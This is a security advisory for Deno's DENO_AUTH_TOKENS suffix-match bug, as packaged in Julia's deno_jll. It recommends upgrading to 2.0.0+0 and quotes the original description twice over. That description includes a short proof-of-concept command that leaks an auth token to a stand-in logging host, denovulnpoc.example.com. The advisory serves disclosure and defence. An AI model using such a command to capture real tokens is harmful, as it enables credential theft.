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4.6
Deno Sends Auth Tokens to Wrong Servers
JLSEC-2026-104
Summary
Deno's authentication token system has a bug that allows tokens meant for one server to be sent to another. This can happen if you use DENO_AUTH_TOKENS and import code from a potentially untrusted source. To protect your tokens, make sure you're only importing code from trusted sources or update to a version of Deno that fixes this issue.
What to do
- Update deno_jll to version 2.0.0+0.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| Julia | – | deno_jll |
< 2.0.0+0 Fix: upgrade to 2.0.0+0
|
Original title
Deno's improper suffix match testing for DENO_AUTH_TOKENS
Original description
### Summary
Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`.
### Details
[auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens.
### PoC
- Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`.
- Run `[email protected] deno run https://not-a-left-truncated.domain`. For example, `[email protected] deno run https://denovulnpoc.example.com`
- Observe that the token intended only for the truncated domain is sent to the full domain
### Impact
_What kind of vulnerability is it? Who is impacted?_
Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.
Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`.
### Details
[auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens.
### PoC
- Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`.
- Run `[email protected] deno run https://not-a-left-truncated.domain`. For example, `[email protected] deno run https://denovulnpoc.example.com`
- Observe that the token intended only for the truncated domain is sent to the full domain
### Impact
_What kind of vulnerability is it? Who is impacted?_
Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.
osv CVSS3.1
4.6
- https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/c... URL
- https://github.com/denoland/deno/commit/de23e3b60b066481cc390f459497d5bef42a899b URL
- https://github.com/denoland/deno/security/advisories/GHSA-5frw-4rwq-xhcr URL
- https://nvd.nist.gov/vuln/detail/CVE-2024-27932 URL
- https://github.com/advisories/GHSA-5frw-4rwq-xhcr URL
Published: 14 Apr 2026 · Updated: 14 Apr 2026 · First seen: 14 Apr 2026